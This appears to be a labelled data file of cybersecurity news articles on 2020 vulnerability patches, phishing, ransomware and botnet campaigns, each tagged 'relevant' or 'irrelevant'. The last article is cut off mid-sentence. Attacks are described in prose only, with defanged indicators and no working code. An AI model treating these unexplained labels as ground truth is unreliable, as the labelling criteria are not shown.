"Critical Intel Flaws Fixed in Active Management Technology Two critical flaws in Intel AMT, which could enable privilege escalation, were patched along with 20 other bugs in its June security update. Intel has released its June security updates, which address two critical vulnerabilities that, if exploited, can give unauthenticated attackers elevated privileges. The critical flaws exist in Intel’s Active Management Technology (AMT), which is used for remote out-of-band management of personal computers. The two critical flaws (CVE-2020-0594 and CVE-2020-0595) exist in the IPv6 subsystem of AMT (and Intel’s Standard Manageability solution, which has a similar function as AMT). The flaws could potentially enable an unauthenticated user to gain elevated privileges via network access. AMT versions before 11.8.77, 11.12.77, 11.22.77 and 12.0.64 are affected. CVE-2020-0594 is an out-of-bounds read flaw while CVE-2020-0595 is a use-after-free vulnerability. Both flaws ranks 9.8 out of 10.0 on the CVSS scale, making them critical. A high-severity privilege escalation flaw, existing in the Intel Innovation Engine, was also patched. Innovation Engine is an embedded core in the Peripheral Controller Hub (PCH), that is a dedicated subsystem that system vendors can use to customize their firmware. The flaw (CVE-2020-8675) stems from insufficient control flow management in the Innovation Engine’s firmware build and signing tool, before version 1.0.859, may allow an unauthenticated user to potentially enable escalation of privilege via physical access. A flaw was also fixed in Intel’s Solid State Drive (SSD) products, which allow information disclosure. The flaw (CVE-2020-0527) stems from insufficient control flow management in firmware for some Intel Data Center SSDs (a list of affected products can be found here). The flaw “may allow a privileged user to potentially enable information disclosure via local access,” according to Intel. Intel also fixed flaws in the BIOS firmware for some Intel Processors, which may enable escalation of privilege or denial of service (DoS). That includes a high-severity flaw (CVE-2020-0528) stemming from Improper buffer restrictions in the BIOS firmware for 7th, 8th, 9th and 10th Generation Intel Core processor families. In order to exploit this flaw, an attacker would need to be authenticated (for privilege escalation) and have local access (for DoS). “Intel recommends that users update to the latest firmware version provided by the system manufacturer that addresses this issue,” according to the chip giant’s advisory. Intel also fixed an array of high-severity flaws (including CVE-2020-0586, CVE-2020-0542, CVE-2020-0596,CVE-2020-0538, CVE-2020-0534, CVE-2020-0533, CVE-2020-0566 and CVE-2020-0532)across its Converged Security and Manageability Engine (CSME), Server Platform Services (SPS), Trusted Execution Engine (TXE) and Dynamic Application Loader (DAL) products. CrossTalk Flaw One medium-severity flaw disclosed Tuesday by Intel (CVE-2020-0543) was called “CrossTalk” by security researchers who revealed technical details of the vulnerability. The flaw is related to a new class of flaws uncovered in 2019, called Microarchitectural Data Sampling (MDS), which utilize side channel attacks to siphon data from impacted systems. The flaw could enable an attacker with local access to run code that can obtain data from an app running on a different CPU core (different than the CPU code that’s running the attacker’s code). “Until now, all the attacks assumed that attacker and victim were sharing the same core, so that placing mutually untrusting code on different cores would thwart such attacks,” researchers said in a Tuesday post. “Instead, we present a new transient execution vulnerability, which Intel refers to as “Special Register Buffer Data Sampling” or SRBDS (CVE-2020-0543), enabling attacker-controlled code executing on one CPU core to leak sensitive data from victim software executing on a different core.” The flaw scores 6.5 out of 10.0 on the CVSS scale, making it medium-severity. It comes with caveats – an attacker could need to be authenticated and have local access to the user’s device. However, CrossTalk does impact over 50 Intel mobile, desktop, server and workstation processors (a list of which can be found here). Intel implemented a mitigation for CrossTalk in a microcode update distributed to software vendors, which locks the entire memory bus before updating the staging buffer and only unlocks it after clearing its content –ensuring no information is exposed to off-core requests issued from other CPU cores. Overall, in its June security update Intel fixed flaws tied to 22 CVEs. Of note, Intel did not release any fixes for flaws in May. In April, Intel patched high-severity flaws in its Next Unit Computing (NUC) mini PC firmware, and in its Modular Server MFS2600KISPP Compute Module. Alyssa Milburn, Hany Ragab, Kaveh Razavi, Herbert Bos, Cristiano Giuffrida from the VUSec group at VU Amsterdam were credited with reporting the flaw.",relevant
"Critical Netgear Bug Impacts Flagship Nighthawk Router Dozens of routers are patched by Netgear as it snuffs out critical, high and medium severity flaws. Netgear is warning users of a critical remote code execution bug that could allow an unauthenticated attacker to take control of its Wireless AC Router Nighthawk (R7800) hardware running firmware versions prior to 1.0.2.68. The warnings, posted Tuesday, also include two high-severity bugs impacting Nighthawk routers, 21 medium-severity flaws and one rated low. The critical vulnerability, tracked by Netgear as PSV-2019-0076, affects the company’s consumer Nighthawk X4S Smart Wi-Fi Router (R7800) first introduced in 2016 and still available today. Netgear is short on details tied to the vulnerability, only urging customers to visit its online support page to download a patch for the bug. The same R7800 model router is also vulnerable to a high-severity post-authentication command injection flaw, tracked as PSV-2018-0352. In this case, the Nighthawk (R7800) router is vulnerable when running firmware prior to version 1.0.2.60. The same high-severity command injection flaw (PSV-2018-0352) also exists in 29 other router models within the D6000, R6000, R7000, R8000, R9000 and XR500 family of Netgear hardware. Brands include 20 SKUs of the Wireless AC Router Nighthawk hardware, four of its Wireless AC Routers and four DSL Gateway AC devices. Netgear is also mum on the technical specifics of how the command injection flaw manifests itself in the routers and gateway devices. Generally, a post-authentication command injection flaw can lead to a number of different attack scenarios including one that allows a hacker to completely compromise a device and gain root privileges. On Tuesday, Netgear warned of a second high-severity post-authentication command injection flaw impacting five router models within the R6400, R6700, R6900 and R7900 SKUs and that are running specific vulnerable firmware. The security bulletin for the vulnerability is PSV-2019-0051. These model routers typically fall under Netgear’s consumer devices. Netgear has a long history of patching command injection flaws dating back to 2013 and researched by Zach Cutlip. It was then that Cutlip found a similar vulnerability in Netgear’s WNDR3700v4 router that allowed for an attacker to take control of the hardware. More recently, in 2018 researchers at Fortinet discovered that Netgear R8000 model router also had a post-authentication command injection flaw tied to its CGI Handler. Netgear is urging customers to visit its online support page and search by device model for the most recent firmware to update and patch their devices.",relevant
"Critical SAP ASE Flaws Allow Complete Control of Databases Researchers warn of critical flaws in SAP’s Sybase Adaptive Server Enterprise software. Researchers are urging users to apply patches for several critical vulnerabilities in SAP’s Adaptive Server Enterprise (ASE). If exploited, the most severe flaws could give unprivileged users complete control of databases and – in some cases – even underlying operating systems. ASE (previously known as Sybase SQL server) is SAP’s popular database management software, targeted for transactional-based applications. ASE is used by more than 30,000 organizations globally – including 90 percent of the top banks and security firms worldwide, according to SAP. Researchers disclosed six vulnerabilities that they discovered while conducting security tests for the latest version of the software, ASE 16 (SP03 PL08). While SAP has released patches for both ASE 15.7 and 16.0 in its May 2020 update, researchers disclosed technical details of the flaws on Wednesday, saying “there is no question” that the patches should be applied immediately if they haven’t been already. “For the last several years there have been relatively few security patches for SAP Adaptive Server Enterprise (ASE),” said Trustwave researchers in a Wednesday analysis. “New security research conducted by Trustwave revealed a bunch of vulnerabilities in the current version of SAP’s flagship relational database product. Historically, SAP ASE is widely used by the financial sector in the US and other countries.” The most severe vulnerability, CVE-2020-6248, has a CVSS score of 9.1 out of 10. The flaw stems from a lack of security checks for overwriting critical configuration files during database backup operations. That means any unprivileged user who can run a DUMP command (used by database owners to back up the file system to storage devices) can send a corrupted configuration file, resulting in potential takeover of the database. This file will then be detected by the server and replaced with a default configuration – which allows anyone to connect to the Backup Server using the login and an empty password. “The next step would be to change the sybmultbuf_binary Backup Server setting to point to an executable of the attacker’s choice,” said researchers. “Subsequent DUMP commands will now trigger the execution of the attacker’s executable. If SAP ASE is running on Windows, the code will run as LocalSystem by default.” Another critical flaw (CVE-2020-6252) was discovered affecting Windows installations of the SAP ASE 16. That bug exists in a small helper database (SQL Anywhere) used by the SAP ASE installation to manage database creation and version management. Specifically, the issue is in the Cockpit component of ASE, which is a web-based tool for monitoring the status and availability of SAP ASE servers. The issues stems from the password, used to login in to the helper database, being in a configuration file that is readable by any Windows user. “This means any valid Windows user can grab the file and recover the password to login to the helper SQL Anywhere database as the special user utility_db and then issue commands like CREATE ENCRYPTED FILE to overwrite operating system files (remember, the helper database runs as LocalSystem by default!) and possibly cause code execution with LocalSystem privileges,” said researchers. In another issue, researchers found clear text passwords in the ASE server installation logs: “The logs are only readable to the SAP account, but will completely compromise the SAP ASE when joined with some other issue that allows filesystem access,” they said. Researchers also found two SQL injection flaws that could be abused to allow privilege escalation. One (CVE-2020-6241) exists in global temporary tables in ASE 16, while the other (CVE-2020-6253) stems from the WebServices handling code of ASE. The final bug discovered was an XP Server flaw (CVE-2020-6243) that could allow authenticated Windows users to gain arbitrary code execution (as LocalSystem) if they can connect to the SAP ASE. “Organizations often store their most critical data in databases, which, in turn, are often necessarily exposed in untrusted or publicly exposed environments,” said researchers. “This makes vulnerabilities like these essential to address and test quickly since they not only threaten the data in the database but potentially the full host that it is running on.”",relevant
"Critical Slack Bug Allows Access to Private Channels, Conversations The RCE bug affects versions below 4.4 of the Slack desktop app. A critical vulnerability in the popular Slack collaboration app would allow remote code-execution (RCE). Attackers could gain full remote control over the Slack desktop app with a successful exploit — and thus access to private channels, conversations, passwords, tokens and keys, and various functions. They could also potentially burrow further into an internal network, depending on the Slack configuration, according to a security report. The bug (rated between nine and 10 on the CvSS vulnerability-severity scale), was disclosed on Friday, and involves cross-site scripting (XSS) and HTML injection. Slack for Desktop (Mac/Windows/Linux) prior to version 4.4 are vulnerable. “With any in-app redirect-logic/open redirect, HTML or JavaScript injection, it’s possible to execute arbitrary code within Slack desktop apps,” wrote a bug-hunter going by the handle “oskarsv,” who submitted a report on the bug to Slack via the HackerOne platform (earning $1,500). “This report demonstrates a specifically crafted exploit consisting of an HTML injection, security control bypass and a RCE JavaScript payload.” According to the disclosed technical writeup, attackers could trigger an exploit by overwriting Slack desktop app “env” functions to create a tunnel via BrowserWindow; to then execute arbitrary JavaScript, in what is “a weird XSS case,” he said. Technical Details To exploit the bug, attackers would need to upload a file to their own HTTPS-enabled server with a payload; then, they could prepare a Slack post with an HTML injection containing the attack URL pointing to that payload (hidden in an image). After that, they need only to share that post with a public Slack channel or user. If a user clicks on the booby-trapped image, the code will be executed on the victim’s machine. As for accomplishing the HTML injection, the issue lies in the way Slack posts are created, according to the researcher. “[Creating a post] creates a new file on https://files.slack.com with [a specific] JSON structure,” according to the writeup. “It’s possible to directly edit this JSON structure, which can contain arbitrary HTML.” oskarsv added, “JavaScript execution is restricted by Content Security Policy (CSP) and various security protections are in place for HTML tags (i.e. banned iframe, applet, meta, script, form etc. and target attribute is overwritten to _blank for A tags). However, it is still possible to inject area and map tags, which can be used to achieve a one-click-RCE.” He further explained that the URL link to the malicious payload could be written within the area tag. Alternatively, oskarsv also discovered that emails (when sent as plaintext) are stored unfiltered on Slack servers – a situation that can be abused in order to store the RCE payload without attackers needing to own their own hosting. “Since it’s a trusted domain, it could contain a phishing page with a fake Slack login page or different arbitrary content which could impact both security and reputation of Slack,” he explained. “There are no security headers or any restrictions at all as far as I could tell and I’m sure some other security impact could be demonstrated with enough time.” Regardless of approach, exploits can be used to execute any attacker-provided command, according to the researcher. “The payload can be easily modified to access all private conversations, files, tokens etc., without executing commands on the user’s computer,” he wrote, “[or] access to private files, private keys, passwords, secrets, internal network access, etc.” Further, the payload could be made “wormable” so that it re-posts to all user workspaces, the researcher added. Users should make sure their Slack desktop apps are upgraded to at least version 4.4 in order to avoid attacks. The bug was patched in February, but has just now been disclosed because of a HackerOne disclosure hiatus on all bugs, which was in effect for several months.",relevant
"Critical VMware Bug Opens Up Corporate Treasure to Hackers The bug — rated 10 in severity — potentially affects large numbers of corporate VMs and hosts. A critical information-disclosure bug in VMware’s Directory Service (vmdir) could lay bare the contents of entire corporate virtual infrastructures, if exploited by cyberattackers. The vmdir is part of VMware’s vCenter Server product, which provides centralized management of virtualized hosts and virtual machines (VMs) from a single console. According to the product description, “a single administrator can manage hundreds of workloads.” These workloads are governed by a single sign-on (SSO) mechanism to make things easier for administrators; rather than having to sign into each host or VM with separate credentials in order to gain visibility to it, one authentication mechanism works across the entire management console. The vmdir in turn is a central component to the vCenter SSO (along with the Security Token Service, an administration server and vCenter Lookup Service). Also, vmdir is used for certificate management for the workloads governed by vCenter, according to VMware. The critical flaw (CVE-2020-3952) was disclosed and patched on Thursday; it rates 10 out of 10 on the CVSS v.3 vulnerability severity scale. At issue is a poorly implemented access control, according to the bug advisory, which could allow a malicious actor to bypass authentication mechanisms. “Under certain conditions, vmdir that ships with VMware vCenter Server, as part of an embedded or external Platform Services Controller (PSC), does not correctly implement access controls,” the description explained. As for the attack vector, “a malicious actor with network access to an affected vmdir deployment may be able to extract highly sensitive information,” VMware noted. In turn, this information could be used to compromise the vCenter Server itself “or other services which are dependent upon vmdir for authentication.” There are no workarounds, but administrators are encouraged to apply the patches as soon as possible. vCenter Server 6.7 (embedded or external PSC) prior to 6.7u3f is affected by CVE-2020-3952 if it was upgraded from a previous release line such as 6.0 or 6.5. Clean installations of vCenter Server 6.7 (embedded or external PSC) are not affected, according to the company. To help administrators find out if their vmdir deployments are affected by CVE-2020-3952, the vendor has published a how-to knowledge base document. “VMware, one of, if not the most, popular virtualization software companies in the world, recently patched an extremely critical information disclosure vulnerability…one of the most severe vulnerabilities that has affected VMware software,” Chris Hass, director of information security and research at Automox, told Threatpost. “vCenter Server provides a centralized platform for controlling VMware vSphere environments, it helps manage virtual infrastructure in a tremendous number of hybrid clouds, so the scope and impact of this vulnerability is quite large. Organizations using vCenter need to check their vmdir logs for affected versions, ACL MODE: legacy, and patch immediately.” No specific acknowledgments were given for the bug discovery – VMware noted only that it was “disclosed privately.”",relevant
"Critical WordPress e-Learning Plugin Bugs Open Door to Cheating Adobe patched 36 flaws, including critical vulnerabilities in Acrobat and Reader and its DNG Software Development Kit. Adobe has fixed 16 critical flaws across its Acrobat and Reader applications and its Adobe Digital Negative (DNG) Software Development Kit. If exploited, the flaws could lead to remote code execution. Overall, Adobe fixed vulnerabilities tied to 36 CVEs in its regularly-scheduled Tuesday security update. Those include 24 critical- and important-severity flaws in its Acrobat and Reader application, used for creating and managing PDF files, and 12 in its Adobe DNG Software Development Kit (SDK), which provides support for reading and writing DNG files used for digital photography. “Adobe is not aware of any exploits in the wild for any of the issues addressed in these updates,” according to Adobe’s Tuesday alert. Acrobat and Reader Twelve critical flaws were fixed in Acrobat and Reader. The majority of these, if exploited, can allow an attacker to launch arbitrary code execution attacks. The flaws include a heap-based buffer overflow flaw (CVE-2020-9612) that exists within the processing of JPEG2000 images, Dustin Childs, manager at Trend Micro’s Zero Day Initiative, told Threatpost. “The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a heap-based buffer,” Childs said. “An attacker can leverage this vulnerability to execute code in the context of the current process.” Another code-execution flaw of note is a out-of-bounds write glitch (CVE-2020-9597). Childs said this specific bug exists within the parsing of .JPEG files. “Crafted data in a JPEG file can trigger a write past the end of an allocated buffer,” he said. “An attacker can leverage this vulnerability to execute code in the context of the current process.” Also of note is a flaw stemming from a specific JavaScript code embedded in a PDF file, which can lead to heap corruption (CVE-2020-9607) when opening a PDF document in Adobe Acrobat Reader DC 2020.006.20034. “With careful memory manipulation, this can lead to arbitrary code execution,” said Cisco Talos researchers who discovered the flaw in a Tuesday analysis. “The victim would need to open the malicious file or access a malicious web page to trigger this vulnerability.” The remaining critical flaws enabling code execution include another out-of-bounds write glitch (CVE-2020-9594), buffer errors (CVE-2020-9605, CVE-2020-9604) and another use-after-free flaw (CVE-2020-9606). Adobe also addressed a critical race condition flaw (CVE-2020-9615) and security bypass flaws (CVE-2020-9614, CVE-2020-9613, CVE-2020-9596, CVE-2020-9592), which can be exploited by a bad actor to bypass security restrictions features. “These updates address multiple critical and important vulnerabilities,” according to Adobe’s alert. “Successful exploitation could lead to arbitrary code execution in the context of the current user.” A number of important-severity flaws were also patched, including a null pointer (CVE-2020-9610) and stack exhaustion (CVE-2020-9611) flaw, which can allow bad actors to launch denial-of-service attacks against the application. Out-of-bounds read flaws (CVE-2020-9609, CVE-2020-9608, CVE-2020-9603, CVE-2020-9602, CVE-2020-9601, CVE-2020-9600, CVE-2020-9599) and invalid memory access flaws (CVE-2020-9598, CVE-2020-9595, CVE-2020-9593) were also patched, which could be abused to access sensitive information. Affected are Acrobat and Reader DC Continuous versions 2020.006.20042 and earlier; Acrobat and Reader Classic 2017 versions 2017.011.30166 and earlier; and Acrobat and Reader Classic 2015 versions 2015.006.30518 and earlier. The patched versions for each affected product is below. adobe acrobat and reader Adobe had released a pre-notification security advisory for the Acrobat and Reader updates last week. Adobe DNG SDK Adobe also issued patches for flaws in versions 1.5 and earlier of its DNG SDK. Users are urged to update to version 1.5.1 of the SDK. This includes critical heap overflow flaws tied to four CVEs (CVE-2020-9589, CVE-2020-9590, CVE-2020-9620, CVE-2020-9621). If exploited, the flaws could enable remote code execution. Also patched were eight out-of-bounds read flaws (CVE-2020-9622, CVE-2020-9623, CVE-2020-9624, CVE-2020-9625, CVE-2020-9626, CVE-2020-9627, CVE-2020-9628, CVE-2020-9629) that could be abused for information disclosure. Mateusz Jurczyk with Google Project Zero was credited with discovering the flaws. In April, Adobe released security patches for vulnerabilities in its ColdFusion, After Effects and Digital Editions applications. If exploited, the flaws could enable attackers to view sensitive data, gain escalated privileges, and launch denial-of-service attacks. Also in April, Adobe released an out-of-band patch addressing critical flaws in Adobe Bridge, Adobe Illustrator and the Magento e-commerce platform. If exploited, the most severe vulnerabilities could enable remote code execution on affected systems.",relevant
"Crooks Tap Google Firebase in Fresh Phishing Tactic Cybercriminals are taking advantage of the Google name and the cloud to convince victims into handing over their login details. A series of phishing campaigns using Google Firebase storage URLs have surfaced, showing that cybercriminals continue to leverage the reputation of Google’s cloud infrastructure to dupe victims and skate by secure email gateways. Google Firebase is a mobile and web application development platform. Firebase Storage meanwhile provides secure file uploads and downloads for Firebase apps. Using the Firebase storage API, companies can store data in a Google cloud storage bucket. The phishing effort starts with spam emails that encourage recipients to click on a Firebase link inside the email in order to visit promised content, according to Trustwave researcher Fahim Abbasi, writing in an analysis released Thursday. If the targets click on the link, they’re taken to a supposed login page (mainly for Office 365, Outlook or banking apps) and prompted to enter their credentials – which of course are sent directly to the cybercriminals. “Credential phishing is a real threat targeting corporates globally,” noted Abbasi. “Threat actors are finding smart and innovative ways to lure victims to covertly harvest their corporate credentials. Threat actors then use these credentials to get a foothold into an organization to further their malicious agendas.” In this case, that “innovative way” is using the Firebase link. “Since it’s using Google Cloud Storage, credential-capturing webpages hosted on the service are more likely to make it through security protections like Secure Email Gateways due to the reputation of Google and the large base of valid users,” Karl Sigler, senior security research manager, SpiderLabs at Trustwave., told Threatpost. “The use of cloud infrastructure is rising among cybercriminals in order to capitalize on the reputation and valid uses of those services. They tend to not be immediately flagged by security controls just due to the URL.” The campaigns were circulating globally, across a range of industries, but the majority of the “hits” have been in Europe and Australia, Sigler said. “Most of the emails we saw were from late March through the middle of April, but we’ve seen samples as a part of this campaign as far back as February and as recently as mid-May,” he added. “While these tactics of piggy-backing on valid cloud services likely go back to the days those services were invented, this is a current and active trend.” Major themes for the lures include payment invoices, exhortations to upgrade email accounts, prompts to release pending messages, urging recipients to verify accounts, warnings of account errors, change-password emails and more. In one case, “scammers used the Covid-19 pandemic and internet banking as an excuse to lure the victims into clicking on the fake vendor payment form that leads to the phishing page hosted on Firebase Storage,” according to the analysis. An example of a phishing email using Firebase. Click to enlarge. Overall, the phishing messages are convincing, according to Trustwave, with only subtle imperfections that might tip off potential victims that there’s something wrong, such as a few poor graphics. “Cybercriminals are constantly evolving their techniques and tools to covertly deliver their messages to unwitting victims,” Abbasi said. “In this campaign, threat actors leverage the reputation and service of the Google Cloud infrastructure to conduct phishing by embedding Google firebase storage URLs in phishing emails.” Using Google to lend an air of legitimacy is an ongoing trend. Earlier this year, an attack surfaced that uses homographic characters to impersonate Google domain names and launch convincing but malicious websites. And last August, a targeted spearphishing campaign hit an organization in the energy sector – after using Google Drive to get around the company’s Microsoft email security stack. The campaign impersonated the CEO of the targeted company, sending email via Google Drive purporting to be “sharing an important message” with the recipients. “Again, because of the valid uses and large user base of these services, many of these phishing emails can slip through the cracks of the security controls we put in place,” Sigler added. “Educating users about these tactics helps provide defense-in-depth against these techniques when they hit a victim’s inbox.”",relevant
"Cyberattacks Target Healthcare Orgs on Coronavirus Frontlines Cybercriminals aren’t sparing medical professionals, hospitals and healthcare orgs on the frontlines of the coronavirus pandemic when it comes to cyberattacks, ransomware attacks and malware. Recent malware campaigns reveal that cybercriminals aren’t sparing healthcare firms, medical suppliers and hospitals on the frontlines of the coronavirus pandemic. Researchers have shed light on two recently uncovered malware campaigns: one targeting a Canadian government healthcare organization and a Canadian medical research university, and the other hitting medical organizations and medical research facilities worldwide. The emails sent to these unnamed organizations purported to send COVID-19 medical supply data, critical corporate communications regarding the virus or coronavirus details from the World Health Organization (WHO) – but actually aimed to distribute ransomware, infostealer malware and more. These recent campaigns are the tip of the iceberg when it comes to cybercrime targeting organizations in the healthcare space, researchers said. “Despite prior reporting by various sources indicating that some cyber-threat attacker activity may subside in some respects during the COVID-19 pandemic, Unit 42 has observed quite the opposite with regard to COVID-19 themed threats, particularly in the realm of phishing attacks,” said Adrian McCabe, Vicky Ray and Juan Cortes, security researchers with Palo Alto Networks’ Unit 42 team, in a Tuesday post. Ransomware Attacks Between March 24 – 30, researchers observed various malicious emails attempting to spread ransomware to several individuals associated with an unnamed Canadian government health organization actively engaged in COVID-19 response efforts, as well as a Canadian university that is conducting COVID-19 research. The emails, sent from a spoofed WHO email address (noreply@who[.]int), contained a rich text format (RTF) file that purported to spread information about the pandemic. When opened, the RTF file attempted to deliver a ransomware payload that exploits a known vulnerability (CVE-2012-0158) in Microsoft Office, which allows attackers to execute arbitrary code. When opened, the malicious attachment droransomware coronavirus cyberattackps a ransomware binary to the victim’s disk and then executes it. To avoid detection, the dropped binary has a hidden attribute set, which is used when some content is obsolete and no longer necessary, to completely hide details from the user. The binary also uses an Adobe Acrobat icon to further cloak its true purpose. After further analysis of the code structure of the binary and the host-based and network-based behaviors, researchers determined that the malware is an open-source ransomware variant called EDA2, which is associated with a larger, parent ransomware family called HiddenTear. After execution, the victim receives a ransomware infection notification display on their desktop, which states: “If you want to unlock your files you must sent .35 BTC [Bitcoin] to this address,” and then gives an address for where to send the ransom payment. The ransomware binary then encrypts various files extensions, including “.DOC”, “.ZIP”, “.PPT” and more. Of note, “this ransomware binary has a particularly substantial limitation; it is hardcoded to only encrypt files and directories that are on the victim’s desktop,” said researchers. Researchers said the ransomware samples in this campaign weren’t successful in reaching their intended victims. Other targets haven’t been so lucky, however. Despite ransomware gangs recently pledging that they would stop attacking hospitals in the midst of the pandemic, cyberattacks continue. Several hospitals have been targeted by the Ryuk ransomware, according to security researcher “PeterM” on Twitter. Hammersmith Medicines Research, a London-based healthcare provider that was working with the British government to test COVID-19 vaccines, was also recently hit by a ransomware attack. The Maze ransomware operators, which launched the attack, later posted the stolen data online. Malware Attacks Unit 42 researchers also spotted a separate campaign targeting various organizations, including medical organizations and medical research facilities located in Japan and Canada, with the AgentTesla malware. Other firms targeted by this malware include a United States defense research entity, a Turkish government agency managing public works, a German industrial manufacturing firm, a Korean chemical manufacturer, and medical organizations/research facilities located in Japan and Canada (all unnamed). The malspam emails used the coronavirus as a lure, with a malicious attachment pretending to be a “COVID-19 Supplier Notice” or a “Corporate advisory” for coronavirus. ransomware coronavirus cyberattack The email address sending the malspam emails, “Shipping@liquidroam[.]com,” uses a legitimate business domain for LiquidRoam, which provides sales of electric skateboards. This led researchers to conclude that the domain has been compromised and that the infrastructure is being used by cybercriminals. The attachments for the emails were actually droppers delivering variants of the AgentTesla malware family. AgentTesla, an info-stealing malware which has been around since 2014, is sold in multiple forums commonly visited by cybercriminals, and is one of the top malware families of choice of the SilverTerrier threat actor, known for business email compromise (BEC) campaigns. “All the associated samples connected to the same C2 domain for exfiltration: ‘ftp[.]lookmegarment[.]com,'” researchers said. “Our analysis also shows that the AgentTesla samples had hard-coded credentials used to communicate with the C2 over FTP.” Attackers continue to leverage coronavirus-themed cyberattacks as panic around the global pandemic continues – including malware attacks, booby-trapped URLs and credential-stuffing scams. “It is clear from these cases that the threat actors who profit from cybercrime will go to any extent, including targeting organizations that are on the front lines and responding to the pandemic on a daily basis,” said Unit 42 researchers.",irrelevant
"DarkCrewFriends Returns with Botnet Strategy The botnet can be used to mount different kinds of attacks, including code-execution and DDoS. The hackers-for-hire group DarkCrewFriends has resurfaced and is targeting content management systems to build a botnet. The botnet can be marshalled into service to carry out a variety of criminal activities, including distributed denial-of-service (DDoS) attacks, command execution, information exfiltration or sabotage of an infected system. Researchers said they observed DarkCrewFriends exploiting an unrestricted file upload vulnerability to compromise PHP servers that run websites. After compromise, a malicious PHP web shell is installed as a backdoor, which in turn sets up a connection to a command-and-control (C2) server using an Internet Relay Chat (IRC) channel, according to Check Point researchers Liron Yosefian and Ori Hamama. “Many applications allow users to upload certain files to their servers, such as images or documents,” explained the researchers on Thursday in a blog post. “These files can put the system at risk if they are not properly handled. A remote attacker can send a specially crafted request to a vulnerable server and upload an unrestricted file while bypassing the server’s file extension check. This can eventually result in arbitrary code execution on the affected system.” The exploit for the particular vulnerability being targeted is a zero-day that was created and published by DarkCrewFriends, according to Check Point. Threatpost has reached out for more information on the bug and other details of the campaign. The web shell on the victim’s server defines either a GET parameter called osc or a GET parameter called anon, and executes a decompressed base64 string, according to the analysis. When researchers decoded the string, they discovered commands to download and execute two .AFF files. .AFF is a spellcheck dictionary file type used by Kingsoft WPS Office and Apache OpenOffice, which are free Office suite applications. The infection chain. Source: Check Point “When we downloaded both .AFF files, we saw that those files were actually PHP and Perl files,” the researchers explained. “The hidden file extension is used to avoid detection and confuse the issue.” These files are both variants of the main malware module, which has a wide range of capabilities, including the ability to execute shell commands; gather information on running services on the host computer; download or upload FTP files; scan open ports; and conduct multiple types of DDoS attacks (including UDP and TCP DDoS, HTTP flood, IRC CTCP flood and more). “The attackers create a network of botnets by using the IRC protocol to infect connected servers,” the analysts said. “This provides them with a more powerful attack tool and is also used in the traffic services they offer for sale.” None of the malware binaries had been uploaded to Virus Total, they added. “Following the various scenarios and attack methods…we conclude that the impact on the victim’s infrastructure can be severe and have significant repercussions,” Yosefian and Hamama concluded.",irrelevant
"Defying Covid-19’s Pall: Pwn2Own Goes Virtual Hacking contest goes virtual with participants remotely winning $295k in prizes for taking down Adobe Reader, Safari and Ubuntu. pwn2own 2020Covid-19 has brought the world to grinding halt, but for the hacking competition Pwn2Own, that wasn’t the case. The event, planned for CanSecWest this week in Vancouver, went virtual along with the conference itself. Faced with travel restrictions and new social-distancing guidelines, contestants virtually assembled via the teleconferencing platform Zoom from Africa, Singapore and across the Americas. “We were monitoring the situation. And if we weren’t going to converge in Vancouver, our first priority was remote participation,” said Dustin Childs, communications manager for Zero Day Initiative (ZDI), the event organizer. “We had to come up quickly with how to get everyone together in the right ways in the right rooms with the right access. It was tough, but we managed to do it.” Over the course of two days, hacking teams ranging from Flourescence, RedRocket CTF and Synacktiv attempted to hack Adobe’s Acrobat Reader and Apple’s macOS and virtualization platforms such as Oracle VirtualBox. They competed for close to $300,000 in prizes – and for one talented hacking group, the bragging rights of Master of Pwn. Tuning into the competition via Zoom, judges and technical teams coordinated with white-hat hackers who in real time mostly were successful in compromising targeted devices and software. During one hacking attempt, the Fluoroacetate team of Amat Cama and Richard Zhu, targeted Adobe Reader and then Windows with a local privilege escalation attack. Blink an eye and you might have missed the hack – in under five seconds and one mouse click, on their first attempt, team Fluoroacetate compromised Adobe Reader to attack and take control of the underlying operating system, Windows 10. More specifically, the team used two separate use-after-free bugs, one in Adobe and one in the Windows kernel. pwn2own 2020 “The only thing they did was open a PDF. So, that’s something we all do every day. And, from that, they were able to escape the sandbox in Adobe Reader and escalate through the Windows’ kernel – taking over the entire machine just by opening a PDF,” Childs said. For the one-click hack, team Fluoroacetate earned $50,000. Tensions were high on Wednesday when a team from Georgia Tech Systems Software and Security Lab pulled off a high-wire hack chaining six different vulnerabilities to successfully exploit Apple’s Safari browser and execute code (launch the calculator app) on a computer running macOS. pwn2own 2020For the Georgia Tech team, which consisted of Yong Hwi Jin (@jinmo123), Jungwon Lim (@setuid0x0_), and Insu Yun (@insu_yun_en), the hack earned them $70,000. Things didn’t go so well for The Synacktiv team of Corentin Bayet (@OnlyTheDuck) and Bruno Pujos (@BrunoPujos) who targeted a VMware Workstation in the Virtualization category. Over the course of three attempts, three big sighs of disappointment punctuated the failed attacks. The hack was successful eventually, however not within the contest’s rules of three tries within timed sessions. Visualized applications didn’t fare as well against Phi Phạm Hồng (@4nhdaden) of STAR Labs who savaged Oracle’s VirtualBox on his third try. Using a combo out-of-band read vulnerability, info leak bug and an un-initialized variable hack, Hồng successfully executed code on the VirtualBox hypervisor. For their efforts Hồng’s STAR Labs earned $40,000. The title Master of Pwn was awarded to team Fluoroacetate for its stellar hacks during the event. With the title also comes $25,000, the classic Pwn2Own jerseys and of course the Master of Pwn trophy. “It ended up being a great contest under very stressful trying circumstances,” Childs said. “But it was great that the vendors came together with the contestants and our team pulled it off. It was a great thing that we were able to still put it on.” For complete Pwn2Own results ZDI has posted them here.",irrelevant
"Dell, HP Memory-Access Bugs Open Attacker Path to Kernel Privileges The manufacturers have issued BIOS updates to address the issues, but researchers warn DMA attacks are likely possible against a range of laptops and desktops. Vulnerabilities in Dell and HP laptops could allow an attacker to access information and gain kernel privileges via the devices’ Direct Memory Access (DMA) capability. DMA is a processing-efficiency approach for peripherals (such as PCI cards or network interface cards) that, as the name suggests, offers direct high-speed access to a system’s memory. “For example, a network adapter or Firewire device may need to read and write information quickly,” according to an Eclypsium report, issued Thursday. “Passing this traffic up to the OS and back down again is slow and inefficient. Instead, DMA allows devices to directly communicate with the system’s memory without passing through the operating system [or main CPU].” While useful for conserving processing power, DMA can offer cyberattackers a high-speed ticket to reading and writing memory off a victim system directly. It can also allow attackers to bypass hardware-based root-of-trust and chain-of-trust protections such as UEFI Secure Boot, Intel Boot Guard, HP Sure Start and Microsoft Virtualization-Based Security, Eclypsium found in its research. If successful in a compromise attempt, “an attacker can…extend control over the execution of the kernel itself,” according to the report. “This can allow an attacker to execute kernel code on the system, insert a wide variety of kernel implants and perform a host of additional activity such as spawning system shells or removing password requirements.” Bugs in Dell and HP Laptops In its testing 